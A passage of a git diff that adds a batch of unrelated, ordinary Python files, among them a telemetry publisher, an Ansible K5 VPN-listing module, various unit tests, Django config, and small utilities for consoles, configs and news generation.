LOG.warning(_("Publisher max local_queue length is exceeded, " + "dropping %d oldest samples") % count) + + def _process_queue(self, queue, policy): + current_retry = 0 + while queue: + topic, data = queue[0] + try: + self._send(topic, data) + except DeliveryFailure: + data = sum([len(m) for __, m in queue]) + if policy == 'queue': + LOG.warning(_("Failed to publish %d datapoints, queue " + "them"), data) + return queue + elif policy == 'drop': + LOG.warning(_("Failed to publish %d datapoints, " + "dropping them"), data) + return [] + current_retry += 1 + if current_retry >= self.max_retry: + LOG.exception(_LE("Failed to retry to send sample data " + "with max_retry times")) + raise + else: + queue.pop(0) + return [] + + def publish_events(self, events): + """Send an event message for publishing + + :param events: events from pipeline after transformation + """ + ev_list = [utils.message_from_event( + event, cfg.CONF.publisher.telemetry_secret) for event in events] + + topic = cfg.CONF.publisher_notifier.event_topic + self.local_queue.append((topic, ev_list)) + self.flush() + + @abc.abstractmethod + def _send(self, topic, meters): + """Send the meters to the messaging topic.""" + + +class NotifierPublisher(MessagingPublisher): + def __init__(self, parsed_url, default_topic): + super(NotifierPublisher, self).__init__(parsed_url) + options = urlparse.parse_qs(parsed_url.query) + topic = options.pop('topic', [default_topic]) + driver = options.pop('driver', ['rabbit'])[0] + url = None + if parsed_url.netloc != '': + url = urlparse.urlunsplit([driver, parsed_url.netloc, + parsed_url.path, + urlparse.urlencode(options, True), + parsed_url.fragment]) + self.notifier = oslo_messaging.Notifier( + messaging.get_transport(cfg.CONF, url), + driver=cfg.CONF.publisher_notifier.telemetry_driver, + publisher_id='telemetry.publisher.%s' % cfg.CONF.host, + topics=topic, + retry=self.retry + ) + + def _send(self, event_type, data): + try: + self.notifier.sample({}, event_type=event_type, + payload=data) + except oslo_messaging.MessageDeliveryFailure as e: + raise_delivery_failure(e) + + +class SampleNotifierPublisher(NotifierPublisher): + def __init__(self, parsed_url): + super(SampleNotifierPublisher, self).__init__( + parsed_url, cfg.CONF.publisher_notifier.metering_topic) + + +class EventNotifierPublisher(NotifierPublisher): + def __init__(self, parsed_url): + super(EventNotifierPublisher, self).__init__( + parsed_url, cfg.CONF.publisher_notifier.event_topic) diff --git a/pool/shard009/Python/0081426_k5_ssl_vpn_list.py b/pool/shard009/Python/0081426_k5_ssl_vpn_list.py new file mode 100644 index 0000000000000000000000000000000000000000..ac55f96b429cca9c6dd899b5b8737fb36a5e1e6b --- /dev/null +++ b/pool/shard009/Python/0081426_k5_ssl_vpn_list.py @@ -0,0 +1,137 @@ +#!/usr/bin/python + +ANSIBLE_METADATA = {'status': ['preview'], + 'supported_by': 'community', + 'version': '1.0'} + +DOCUMENTATION = ''' +--- +module: k5_ssl_vpn_list +short_description: List SSL VPNs on K5 +version_added: "1.0" +options: +description: + - returns dict of vpns +requirements: + - "python >= 2.6" +''' + +EXAMPLES = ''' +- k5_ssl_vpn_list: + k5_auth: "{{ k5_auth_facts }}" +''' + +RETURN = ''' + "k5_ssl_vpn_facts": { + "vpnservices": [ + { + "admin_state_up": true, + "availability_zone": "uk-1a", + "description": "", + "id": "0be63045-6078-4c2f-96f8-c1da65d1e1aa", + "name": "Rail_VPN_1", + "router_id": "a4e21ce7-5204-4562-b003-372557ac9844", + "status": "ACTIVE", + "subnet_id": "80157e9b-4e7b-48ea-aa12-4997e16538ff", + "tenant_id": "dbbd47230bfd4e699099462cd8f51b53" + } + ] + } +''' + + +import requests +import os +import json +from ansible.module_utils.basic import * + + +############## Common debug ############### +k5_debug = False +k5_debug_out = [] + +def k5_debug_get(): + """Return our debug list""" + return k5_debug_out + +def k5_debug_clear(): + """Clear our debug list""" + k5_debug_out = [] + +def k5_debug_add(s): + """Add string to debug list if env K5_DEBUG is defined""" + if k5_debug: + k5_debug_out.append(s) + + +############## functions ############# + +def k5_get_endpoint(e,name): + """Pull particular endpoint name from dict""" + + return e['endpoints'][name] + +def k5_ssl_vpn_list(module): + """list vpn servies""" + + global k5_debug + + k5_debug_clear() + + if 'K5_DEBUG' in os.environ: + k5_debug = True + + if 'auth_spec' in module.params['k5_auth']: + k5_facts = module.params['k5_auth'] + else: + module.fail_json(msg="k5_auth_facts not found, have you run k5_auth?") + + endpoint = k5_facts['endpoints']['networking'] + auth_token = k5_facts['auth_token'] + + k5_debug_add('auth_token: {0}'.format(auth_token)) + + session = requests.Session() + + headers = {'Content-Type': 'application/json', 'Accept': 'application/json', 'X-Auth-Token': auth_token } + + url = endpoint + '/v2.0/vpn/vpnservices' + + k5_debug_add('endpoint: {0}'.format(endpoint)) + k5_debug_add('REQ: {0}'.format(url)) + k5_debug_add('headers: {0}'.format(headers)) + #k5_debug_add('json: {0}'.format(query_json)) + + try: + response = session.request('GET', url, headers=headers) + except requests.exceptions.RequestException as e: + module.fail_json(msg=e) + + # we failed to make a change + if response.status_code not in (200,): + module.fail_json(msg="RESP: HTTP Code:" + str(response.status_code) + " " + str(response.content), debug=k5_debug_out) + + if k5_debug: + module.exit_json(changed=True, msg="List VPN Credentials Successful", k5_ssl_vpn_facts=response.json(), debug=k5_debug_out ) + else: + module.exit_json(changed=True, msg="List VPN Credentials Successful", k5_ssl_vpn_facts=response.json() ) + + +###################################################################################### + +def main(): + + module = AnsibleModule( argument_spec=dict( + k5_auth = dict(required=True, default=None, type='dict') + ) ) + + k5_ssl_vpn_list(module) + + +###################################################################################### + +if __name__ == '__main__': + main() + + + diff --git a/pool/shard009/Python/0081428_test_datastructuretools_TreeContainer_index.py b/pool/shard009/Python/0081428_test_datastructuretools_TreeContainer_index.py new file mode 100644 index 0000000000000000000000000000000000000000..ba5d88dffbd74aefda60238a112bf56b5b0eb961 --- /dev/null +++ b/pool/shard009/Python/0081428_test_datastructuretools_TreeContainer_index.py @@ -0,0 +1,24 @@ +# -*- encoding: utf-8 -*- +import pytest +from abjad import * + + +def test_datastructuretools_TreeContainer_index_01(): + + leaf_a = datastructuretools.TreeNode() + leaf_b = datastructuretools.TreeNode() + leaf_c = datastructuretools.TreeNode() + subcontainer = datastructuretools.TreeContainer([leaf_b, leaf_c]) + leaf_d = datastructuretools.TreeNode() + container = datastructuretools.TreeContainer([ + leaf_a, + subcontainer, + leaf_d, + ]) + + assert container.index(leaf_a) == 0 + assert container.index(subcontainer) == 1 + assert container.index(leaf_d) == 2 + + pytest.raises(ValueError, 'container.index(leaf_b)') + pytest.raises(ValueError, 'container.index(leaf_c)') \ No newline at end of file diff --git a/pool/shard009/Python/0081439_urls.py b/pool/shard009/Python/0081439_urls.py new file mode 100644 index 0000000000000000000000000000000000000000..923279cb1f54e6fe7567e1b33fd575f6c80fb7de --- /dev/null +++ b/pool/shard009/Python/0081439_urls.py @@ -0,0 +1,12 @@ +from django.conf.urls import patterns, url, include +from django.views.generic import TemplateView, RedirectView +from robots_txt.views import RobotsTextView +from views import page_404, page_500 +import conf + +urlpatterns = patterns('', + url(r'', include('favicon.urls')), + url(r'^robots.txt$', RobotsTextView.as_view(template_name=conf.ROBOTS_TEMPLATE), name='site_robots_txt'), + url(r'^test_page_404/$', page_404, name="page_404"), + url(r'^test_page_500/$', page_500, name="page_500"), +) \ No newline at end of file diff --git a/pool/shard009/Python/0081445_interactive.py b/pool/shard009/Python/0081445_interactive.py new file mode 100644 index 0000000000000000000000000000000000000000..2ddbbbacf64428d498a58c2e58a8741be0299231 --- /dev/null +++ b/pool/shard009/Python/0081445_interactive.py @@ -0,0 +1,53 @@ +#!/usr/bin/env python + +import sys +import os + +import code +import readline +import rlcompleter + +sys.path.append('../src') + +from Bybop_Discovery import * +import Bybop_Device + +print 'Searching for devices' + +discovery = Discovery(DeviceID.ALL) + +discovery.wait_for_change() + +devices = discovery.get_devices() + +discovery.stop() + +if not devices: + print 'Oops ...' + sys.exit(1) + +device = devices.itervalues().next() + +print 'Will connect to ' + get_name(device) + +d2c_port = 54321 +controller_type = "PC" +controller_name = "bybop shell" + +drone = Bybop_Device.create_and_connect(device, d2c_port, controller_type, controller_name) + +if drone is None: + print 'Unable to connect to a product' + sys.exit(1) + +drone.dump_state() + +vars = globals().copy() +vars.update(locals()) +readline.set_completer(rlcompleter.Completer(vars).complete) +readline.parse_and_bind("tab: complete") +shell = code.InteractiveConsole(vars) + +shell.interact() + +drone.stop() diff --git a/pool/shard009/Python/0081446_test_endpoints.py b/pool/shard009/Python/0081446_test_endpoints.py new file mode 100644 index 0000000000000000000000000000000000000000..86fdad52f90232ab5e373821ebc16211d8b34f67 --- /dev/null +++ b/pool/shard009/Python/0081446_test_endpoints.py @@ -0,0 +1,78 @@ +""" +Copyright 2014-2021 Vincent Texier + +DuniterPy is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +DuniterPy is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with this program. If not, see . +""" + +import unittest + +import duniterpy.api.endpoint as endpoint + + +class TestEndpoint(unittest.TestCase): + def test_gva(self): + endpoint_str = "GVA test.domain.com 127.0.0.1 2001:0db8:0000:85a3:0000:0000:ac1f:8001 10902 gva" + + gva_endpoint = endpoint.GVAEndpoint.from_inline(endpoint_str) + + self.assertEqual(gva_endpoint.flags, "") + self.assertEqual(gva_endpoint.server, "test.domain.com") + self.assertEqual(gva_endpoint.ipv4, "127.0.0.1") + self.assertEqual(gva_endpoint.ipv6, "2001:0db8:0000:85a3:0000:0000:ac1f:8001") + self.assertEqual(gva_endpoint.port, 10902) + self.assertEqual(gva_endpoint.path, "gva") + + self.assertEqual(gva_endpoint.inline(), endpoint_str) + + endpoint_str = "GVA S test.domain.com 10902 gva" + + gva_endpoint = endpoint.GVAEndpoint.from_inline(endpoint_str) + + self.assertEqual(gva_endpoint.flags, "S") + self.assertEqual(gva_endpoint.server, "test.domain.com") + self.assertEqual(gva_endpoint.ipv4, None) + self.assertEqual(gva_endpoint.ipv6, None) + self.assertEqual(gva_endpoint.port, 10902) + self.assertEqual(gva_endpoint.path, "gva") + + self.assertEqual(gva_endpoint.inline(), endpoint_str) + + def test_gva_subscription(self): + endpoint_str = "GVASUB test.domain.com 127.0.0.1 2001:0db8:0000:85a3:0000:0000:ac1f:8001 10902 gva" + + gvasub_endpoint = endpoint.GVASUBEndpoint.from_inline(endpoint_str) + + self.assertEqual(gvasub_endpoint.flags, "") + self.assertEqual(gvasub_endpoint.server, "test.domain.com") + self.assertEqual(gvasub_endpoint.ipv4, "127.0.0.1") + self.assertEqual( + gvasub_endpoint.ipv6, "2001:0db8:0000:85a3:0000:0000:ac1f:8001" + ) + self.assertEqual(gvasub_endpoint.port, 10902) + self.assertEqual(gvasub_endpoint.path, "gva") + + self.assertEqual(gvasub_endpoint.inline(), endpoint_str) + + endpoint_str = "GVASUB S test.domain.com 10902 gva" + + gvasub_endpoint = endpoint.GVASUBEndpoint.from_inline(endpoint_str) + + self.assertEqual(gvasub_endpoint.flags, "S") + self.assertEqual(gvasub_endpoint.server, "test.domain.com") + self.assertEqual(gvasub_endpoint.ipv4, None) + self.assertEqual(gvasub_endpoint.ipv6, None) + self.assertEqual(gvasub_endpoint.port, 10902) + self.assertEqual(gvasub_endpoint.path, "gva") + + assert gvasub_endpoint.inline(), endpoint_str diff --git a/pool/shard009/Python/0081458_test_parsinsert.py b/pool/shard009/Python/0081458_test_parsinsert.py new file mode 100644 index 0000000000000000000000000000000000000000..40ac95a3bee195ad41883feab5b41db342d421d9 --- /dev/null +++ b/pool/shard009/Python/0081458_test_parsinsert.py @@ -0,0 +1,138 @@ +#!/usr/bin/env python + +#----------------------------------------------------------------------------- +# Copyright (c) 2013--, biocore development team. +# +# Distributed under the terms of the Modified BSD License. +# +# The full license is in the file COPYING.txt, distributed with this software. +#----------------------------------------------------------------------------- +"""Tests for ParsInsert v1.03 application controller.""" + + +from shutil import rmtree +from os.path import splitext +from os import getcwd, remove, rmdir, mkdir +from unittest import TestCase, main + +from cogent.core.alignment import Alignment +from cogent.parse.tree import DndParser +from cogent.core.moltype import DNA + +from skbio.parse.sequences import parse_fasta +from burrito.util import get_tmp_filename + +from bfillings.parsinsert import ParsInsert, insert_sequences_into_tree + + +class ParsInsertTests(TestCase): + def setUp(self): + + # create a list of files to cleanup + self._paths_to_clean_up = [] + self._dirs_to_clean_up = [] + + # load query seqs + self.seqs = Alignment(parse_fasta(QUERY_SEQS.split())) + + # generate temp filename + tmp_dir='/tmp' + self.outfile = get_tmp_filename(tmp_dir) + + # create and write out reference sequence file + self.outfasta=splitext(self.outfile)[0]+'.fasta' + fastaout=open(self.outfasta,'w') + fastaout.write(REF_SEQS) + fastaout.close() + self._paths_to_clean_up.append(self.outfasta) + + # create and write out starting tree file + self.outtree=splitext(self.outfile)[0]+'.tree' + treeout=open(self.outtree,'w') + treeout.write(REF_TREE) + treeout.close() + self._paths_to_clean_up.append(self.outtree) + + def tearDown(self): + """cleans up all files initially created""" + # remove the tempdir and contents + map(remove,self._paths_to_clean_up) + map(rmdir,self._dirs_to_clean_up) + + def test_base_command(self): + """Base command-calls""" + + app = ParsInsert() + self.assertEqual(app.BaseCommand, \ + ''.join(['cd "',getcwd(),'/"; ','ParsInsert'])) + + def test_change_working_dir(self): + """Change working dir""" + + app = ParsInsert(WorkingDir='/tmp/ParsInsertTest') + self.assertEqual(app.BaseCommand, \ + ''.join(['cd "','/tmp/ParsInsertTest',\ + '/"; ','ParsInsert'])) + + rmtree('/tmp/ParsInsertTest') + + def test_insert_sequences_into_tree(self): + """Inserts sequences into Tree""" + + # define log fp + log_fp='/tmp/parsinsert.log' + self._paths_to_clean_up.append(log_fp) + + # define tax assignment values fp + tax_assign_fp='/tmp/tax_assignments.log' + self._paths_to_clean_up.append(tax_assign_fp) + + # set the reference alignment and starting tree + param={ + '-t':self.outtree, + '-s':self.outfasta, + '-l':log_fp, + '-o':tax_assign_fp + } + + seqs, align_map = self.seqs.toPhylip() + + # insert sequences into tree + tree = insert_sequences_into_tree(seqs, DNA, params=param) + + # rename tips back to query names + for node in tree.tips(): + if node.Name in align_map: + node.Name = align_map[node.Name] + + self.assertEqual(tree.getNewick(with_distances=True),exp_tree) + + + +QUERY_SEQS= """\ +>6 +TGCATGTCAGTATAGCTTTGGTGAAACTGCGAATGGCTCATTAAATCAGT +>7 +TGCATGTCAGTATAACTTTGGTGAAACTGCGAATGGCTCATTAAATCAGT +""" + +REF_SEQS= """\ +>seq0000011 +TGCATGTCAGTATAGCTTTAGTGAAACTGCGAATGGCTCATTAAATCAGT +>seq0000012 +TGCATGTCAGTATAGCTTTAGTGAAACTGCGAATGGCTNNTTAAATCAGT +>seq0000013 +TGCATGTCAGTATAGCATTAGTGAAACTGCGAATGGCTCATTAAATCAGT +>seq0000014 +TCCATGTCAGTATAACTTTGGTGAAACTGCGAATGGCTCATTAAATCAGG +>seq0000015 +NNNNNNNNNNTATATCTTATGTGAAACTTCGAATGCCTCATTAAATCAGT +""" + +REF_TREE="""((seq0000014:0.08408,seq0000015:0.13713)0.609:0.00215,seq0000013:0.02032,(seq0000011:0.00014,seq0000012:0.00014)0.766:0.00015); +""" + +exp_tree = """((seq0000014:0.08408,seq0000015:0.13713,7:0.02027):0.00215,seq0000013:0.02032,(seq0000011:0.00014,seq0000012:0.00014,6:0.02027):0.00015):0.0;""" + +if __name__ == '__main__': + main() diff --git a/pool/shard009/Python/0081460_model.py b/pool/shard009/Python/0081460_model.py new file mode 100644 index 0000000000000000000000000000000000000000..335708b61f599e597e7ddb6d1b328b4fab3495b4 --- /dev/null +++ b/pool/shard009/Python/0081460_model.py @@ -0,0 +1,153 @@ +import os +import sys +import os.path +import pickle +import log + +from platform import Platform +from ..Platforms import LINUX + +#from opal.core.modelstructure import ModelEvaluator + +__docformat__ = 'restructuredtext' + + +class Model: + def __init__(self, modelData=None, + modelStructure=None, + evaluatingOptions=None, + dataFile='blackbox.dat', + **kwargs): + """ + + A `BlackBoxModel` encapsulates the + information of a parameter optimization problem. + From the parameter problem point of view, this class has + two components: model data and model struture. + + Example:: + + blackbox = Model(modelStructure, modelData) + + An object of this class must contain a link to a solver. + The link to a solver is created by the solver and added to the + BlackBoxModel object upon solving the problem. + + """ + + self.data = modelData + self.structure = modelStructure + #self.runFileName = runFileName + self.data_file = dataFile + # The evaluating_options attribute accepts only + # the options of simple type like boolean, integer + # or string. In general, it accepts the options + # of picklable data type. + + self.evaluating_options = {} + # Update the running options from data + self.evaluating_options.update(modelData.running_options) + # If there is an option with the same name, it is overwritten by + # the setting in model + if evaluatingOptions is not None: + self.evaluating_options.update(evaluatingOptions) + self.evaluating_options.update(kwargs) + + # Get the information about used platform. Normally, platform object + # is not be picklable, So we try to get the information to save + # along with the model data, and use it to reconstruct the platform + # object in run-time. + # By default, LINUX is used + self.platform_description = {'name':'LINUX', + 'settings':{}} + if 'platform' in self.evaluating_options.keys(): + platform = self.evaluating_options['platform'] + if type(platform) == type('a platform name'): + self.platform_description['name'] = platform + elif isinstance(platform, Platform): # A Platform object + self.platform_description['name'] = platform.name + self.platform_description['settings'] = platform.settings + else: # Unable to recognize the specified platfom + pass # Do nothing and use the default platform + del self.evaluating_options['platform'] # Remove platform setting + self.initialize() + return + + def initialize(self): + # Transformation to information of an optimization model + # The variables are the parameters + self.variables = self.data.parameters + # Refomulate the constraints + self.inequality_constraints = [] # c_i(x) <= 0 + self.equality_constraints = [] # c_e(x) = 0 + for constraint in self.structure.constraints: + if constraint.lower_bound == constraint.upper_bound: + self.equality_constraints.append(constraint) + else: + if constraint.lower_bound is not None: + self.inequality_constraints.append(constraint) + if constraint.upper_bound is not None: + self.inequality_constraints.append(constraint) + + self.bounds = [var.bound for var in self.variables] + + # Initial points has at least one point that is the default values + # of the parameters. + self.initial_points = [[var.value for var in self.variables]] + + # The "simple constraints" that contain only the function of + # parameters. This constraints will be verified before running + # the test. + # In the futre, the bound constraints will be considered as + # simple_constraints too + self.simple_constraints = [] + pass + + # The methods to get information of a general model + + def get_n_variable(self): + return len(self.variables) + + def get_n_constraints(self): + return len(self.inequality_constraints) + len(self.equality_constraints) + + def get_initial_points(self): + return self.initial_points + + def add_initial_point(self, point): + converters = {'real':float, + 'integer':int, + 'categorical':str} + initialPoint = [] + for param, val in map(None, self.variables, point): + if param is None: # The point is longer + pass # do nothing + elif val is None: # Set to default value + initialPoint.append(param.get_default()) + else: # Convert automatically to the corresponding type + initialPoint.append(converters[param.kind](val)) + self.initial_points.append(initialPoint) + + def get_bound_constraints(self): + return self.bounds + + # The methods to get information of a OPAL model + + def get_algorithm(self): + return self.data.get_algorithm() + + def get_parameters(self): + return self.data.get_parameters() + + def get_problems(self): + return self.data.get_problems() + + def get_measures(self): + return self.data.get_measures() + + def get_structure(self): + return self.structure + + + + diff --git a/pool/shard009/Python/0081462_0002_auto_20150504_1622.py b/pool/shard009/Python/0081462_0002_auto_20150504_1622.py new file mode 100644 index 0000000000000000000000000000000000000000..c015af95d755e24e4c9ec76595cb491e56e5df9c --- /dev/null +++ b/pool/shard009/Python/0081462_0002_auto_20150504_1622.py @@ -0,0 +1,26 @@ +# -*- coding: utf-8 -*- +from __future__ import unicode_literals + +from django.db import models, migrations +import payment.models + + +class Migration(migrations.Migration): + + dependencies = [ + ('cart', '0006_remove_cartproducts_total'), + ('coupons', '0001_initial'), + ] + + operations = [ + migrations.AddField( + model_name='coupon', + name='cart', + field=models.ManyToManyField(to='cart.Cart'), + ), + migrations.AlterField( + model_name='coupon', + name='currency', + field=models.ForeignKey(to='payment.Currency', default=payment.models.Currency.get_main_currency_id, verbose_name='Валюта'), + ), + ] diff --git a/pool/shard009/Python/0081464_gen-news.py b/pool/shard009/Python/0081464_gen-news.py new file mode 100644 index 0000000000000000000000000000000000000000..78b4398d43e8cc746c16d30b733d436b54f374b2 --- /dev/null +++ b/pool/shard009/Python/0081464_gen-news.py @@ -0,0 +1,107 @@ +#!/usr/bin/python +# @(#) $Id$ +import re, sys, time +from xml.sax.saxutils import escape + +def format_date(d): + # Don't depend on locale + months = (None, 'January', 'February', 'March', 'April', + 'May', 'June', 'July', 'August', + 'September', 'October', 'November', 'December') + d = time.strptime(d, '%Y-%m-%d') + return '%d %s %d' % (d.tm_mday, months[d.tm_mon], d.tm_year) + +in_list = False +in_item = False +in_para = False +version_list = [] +out = [] + +version_block_re = re.compile(r'(?ms)^(?P\d[0-9.]*)\s+' + + r'\((?P\d+-\d+-\d+)\)$' + + r'(?P.*?)\n{3,}') +news_group_re = re.compile(r'(?ms)^(?P
[\w ]+):\n' + + r'(?P- .*?)\n{2,}') +news_item_re = re.compile(r'(?m)^- (?P.*\n(?: .*\n)*)') +colon_re = re.compile(r'[\w)]: ') + +text = sys.stdin.read().strip() + '\n\n\n' +textpos = 0 +while textpos < len(text): + verblock = version_block_re.match(text, textpos) + if not verblock: + sys.stderr.write('Cannot parse "%.30s" as version header.\n' + % text[textpos:]) + sys.exit(1) + + version = verblock.group('version') + date = verblock.group('date') + version_list.append(version) + out.append('') + out.append('

Version %s

' % (version, version)) + out.append('

Released: %s.

' % format_date(date)) + + news = verblock.group('news').strip() + '\n\n' + newspos = 0 + while newspos < len(news): + newsgroup = news_group_re.match(news, newspos) + if not newsgroup: + sys.stderr.write('Cannot parse "%.30s" as news group header.\n' + % news[newspos:]) + sys.exit(1) + + header = newsgroup.group('header') + out.append('

%s

' % header) + out.append('
    ') + + items = newsgroup.group('items').strip() + '\n' + itempos = 0 + while itempos < len(items): + newsitem = news_item_re.match(items, itempos) + if not newsitem: + sys.stderr.write('Cannot parse "%.30s" as news item.\n' + % items[itempos:]) + sys.exit(1) + + item = newsitem.group('item') + item = re.sub(r'(?s)\s{2,}', r' ', item) + + colon = colon_re.search(item) + if not colon: + sys.stderr.write('Missing colon in news item "%.30s".\n' % item) + sys.exit(1) + + label = item[:colon.start()+1] + content = item[colon.end():] + out.append('
  • %s: %s
  • ' % (label, content)) + + itempos = newsitem.end() + + out.append('
') + newspos = newsgroup.end() + + textpos = verblock.end() + +# Split version list by major version, assuming there are two series +# formed by N.x and N.99.x versions +i = 0 +version_lists = [] +while True: + s = str(i) + '.' + l = [x for x in version_list if x.startswith(s)] + if not l: + break + s += '99.' + version_lists.append([x for x in l if not x.startswith(s)]) + version_lists.append([x for x in l if x.startswith(s)]) + i += 1 +version_lists = [x for x in version_lists if x] +version_lists.reverse() + +print '

Jump to news for version:
' +l = [] +for ver in version_lists: + l.append(',\n'.join(['
%s' % (x, x) for x in ver])) +print '
\n'.join(l) +print '

' +print '\n'.join(out) diff --git a/pool/shard009/Python/0081465_object.py b/pool/shard009/Python/0081465_object.py new file mode 100644 index 0000000000000000000000000000000000000000..45b8fc847edce0b616cef91321599c58d830a2af --- /dev/null +++ b/pool/shard009/Python/0081465_object.py @@ -0,0 +1,32 @@ +def field(f, cast=None, **kwargs): + def _inner(self): + if "default" in kwargs: + ret = self._obj.get(f, kwargs["default"]) + else: + ret = self._obj[f] + if cast: + ret = cast(ret) + return ret + return property(_inner) + + +class Object: + def __init__(self, data=None): + if data is None: + data = {} + self._obj = data + + def __repr__(self): + return "<%s %s>" % (self.__class__.__name__, self.name) + + def __str__(self): + return self.name + + name = field("m_Name", default="") + + +class GameObject(Object): + active = field("m_IsActive") + component = field("m_Component") + layer = field("m_Layer") + tag = field("m_Tag") diff --git a/pool/shard009/Python/0081471_serve.py b/pool/shard009/Python/0081471_serve.py new file mode 100644 index 0000000000000000000000000000000000000000..4336bf86a0def6addcb2e4de43a19916fadb047e --- /dev/null +++ b/pool/shard009/Python/0081471_serve.py @@ -0,0 +1,26 @@ +from flask import Flask, render_template + +from bokeh.client import pull_session +from bokeh.embed import server_session + +app_url = "http://localhost:5100/bokeh_app" + +app = Flask(__name__) + +@app.route('/') +def bkapp_page(): + + # pull a new session from running Bokeh server + with pull_session(url=app_url) as session: + + # update or customize that session + session.document.roots[0].title.text = "Special Plot Title For A Specific User!" + + # generate a script to load the customized session + script = server_session(session_id=session.id, url=app_url) + + # use the script in the rendered page + return render_template("embed.html", script=script, template="Flask") + +if __name__ == '__main__': + app.run(port=8080) diff --git a/pool/shard009/Python/0081481_test_clearsettings.py b/pool/shard009/Python/0081481_test_clearsettings.py new file mode 100644 index 0000000000000000000000000000000000000000..104673e7e06d6a96a7292c6b2725f85788b3708d --- /dev/null +++ b/pool/shard009/Python/0081481_test_clearsettings.py @@ -0,0 +1,59 @@ +import mock + +from werckercli.commands import clearsettings + +from werckercli.tests import TempHomeSettingsCase + + +class ClearClearSettingsTests(TempHomeSettingsCase): + + template_name = "home-with-netrc" + + @mock.patch("werckercli.commands.clearsettings.puts", mock.Mock()) + @mock.patch("werckercli.commands.clearsettings.config.get_value", + mock.Mock(return_value="data")) + @mock.patch("werckercli.commands.clearsettings.puts", + mock.Mock()) + @mock.patch("werckercli.commands.clearsettings.prompt.yn", + mock.Mock(return_value=True)) + def test_clear(self): + # my_clearsettings = reload(clearsettings) + my_clearsettings = clearsettings + with mock.patch( + "werckercli.config.set_value", + mock.Mock() + ) as set_value: + # with mock.patch( + # "werckercli.cli.puts", + # mock.Mock() + # ) as puts: + # print puts + from werckercli.config import VALUE_USER_TOKEN + + my_clearsettings.clear_settings() + set_value.assert_called_once_with(VALUE_USER_TOKEN, None) + + +class NoClearClearSettingsTests(TempHomeSettingsCase): + @mock.patch("werckercli.commands.clearsettings.puts", mock.Mock()) + @mock.patch("werckercli.commands.clearsettings.config.get_value", + mock.Mock(return_value="data")) + @mock.patch("werckercli.commands.clearsettings.puts", + mock.Mock()) + @mock.patch("werckercli.commands.clearsettings.prompt.yn", + mock.Mock(return_value=False)) + def test_NO_clear(self): + with mock.patch( + "werckercli.commands.clearsettings.config.set_value", + mock.Mock() + ) as set_value: + # with mock.patch( + # "werckercli.cli.puts", + # mock.Mock() + # ) as puts: + # print puts + # my_clearsettings = reload(clearsettings) + my_clearsettings = clearsettings + + my_clearsettings.clear_settings() + self.assertEqual(0, set_value.call_count) diff --git a/pool/shard009/Python/0081482_Console.py b/pool/shard009/Python/0081482_Console.py new file mode 100644 index 0000000000000000000000000000000000000000..9cf5f0af7aea1727f0ab83c9f50bb8b3bd82f162 --- /dev/null +++ b/pool/shard009/Python/0081482_Console.py @@ -0,0 +1,76 @@ +#!/usr/bin/env python +# -*- coding: utf-8 -*- +# +# Copyright 2010 British Broadcasting Corporation and Kamaelia Contributors(1) +# +# (1) Kamaelia Contributors are listed in the AUTHORS file and at +# http://www.kamaelia.org/AUTHORS - please extend this file, +# not this notice. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# ------------------------------------------------------------------------- +"""This is just a source file for miscellaneous console IO functions. There is also +an interface for using python's logging system for console IO.""" + +import logging + +_console_name = 'kamaelia' + +def setConsoleName(name): + """ + This sets the name of the python logger that represents the console. + """ + _console_name = name + +def prompt_yesno(text): + """ + Just a generic function to determine if the user wants to continue or not. + Will repeat if input is unrecognizable. + """ + user_input = raw_input(text) + + if user_input[0] == 'y' or user_input[0] == 'Y': + return True + elif user_input[0] == 'n' or user_input[0] == 'N': + return False + else: + print ('Unrecognizable input. Please try again') + return prompt_yesno(text) + +def prompt_corrupt(corrupt): + """This is really just a convenience method for prompt_yesno.""" + print ('The following files appear to be corrupted: \n', corrupt, \ + '\n There may be more corrupted files.') + if not prompt_yesno('Would you like to continue anyway? [y/n]'): + print ("Halting!") + sys.exit(1) + +def debug(msg, suffix='', *args, **argd): + """Print a debug message to the screen""" + logging.getLogger(_console_name + suffix).debug(msg, *args, **argd) + +def info(msg, suffix='', *args, **argd): + """Print info to the screen""" + logging.getLogger(_console_name+suffix).info(msg, *args, **argd) + +def warning(msg, suffix='', *args, **argd): + """Print a warning to the screen""" + logging.getLogger(_console_name+suffix).warning(msg, *args, **argd) + +def error(msg, suffix='', *args, **argd): + """Print an error to the screen""" + logging.getLogger(_console_name+suffix).error(msg, *args, **argd) + +def critical(msg, suffix='', *args, **argd): + """Print a critical message to the screen.""" + logging.getLogger(_console_name+suffix).critical(msg, *args, **argd) diff --git a/pool/shard009/Python/0081483_config2.py b/pool/shard009/Python/0081483_config2.py new file mode 100644 index 0000000000000000000000000000000000000000..004f7fc4bfaf57c992df7eeb8387b615e0f0c310 --- /dev/null +++ b/pool/shard009/Python/0081483_config2.py @@ -0,0 +1,33 @@ +# -*- coding: iso-8859-1 -*- + +from kaa.config import Var, Group, Dict, Config + +config = Config(desc='mplayer configuration', schema=[ + + Var(name='activate', desc='activate backend', default=True), + + Dict(name='dict', schema=Var(default=''), defaults = {'x': 'foo', 'y': 'yyy'}), + + Dict(name='dictgroup', schema=Group(schema = [ + Var(name='x', default=True), + Var(name='y', default=True)])), + + Dict(name='dictdict', schema=Dict(name='foo', schema=Var(default=''))) + +]) + +config.dict['f'] = 'd' +config.dict['z'] = 'j' + +config.dictdict['a']['f'] = 'd' +config.dictdict['b']['z'] = 'j' + +config.dictgroup['c'].x = False +config.dictgroup['d'].y = 'j' + +print config.dictdict['a']['f'] +print 'save' +config.save('x.cfg') + +print 'load' +config.load('x.cfg') diff --git a/pool/shard009/Python/0081484_deprecated.py b/pool/shard009/Python/0081484_deprecated.py new file mode 100644 index 0000000000000000000000000000000000000000..690ace23eebe39f2dd77678de2da60cbdde1742b --- /dev/null +++ b/pool/shard009/Python/0081484_deprecated.py @@ -0,0 +1,224 @@ +# MIT License +# +# Copyright (c) 2015-2021 Iakiv Kramarenko +# +# 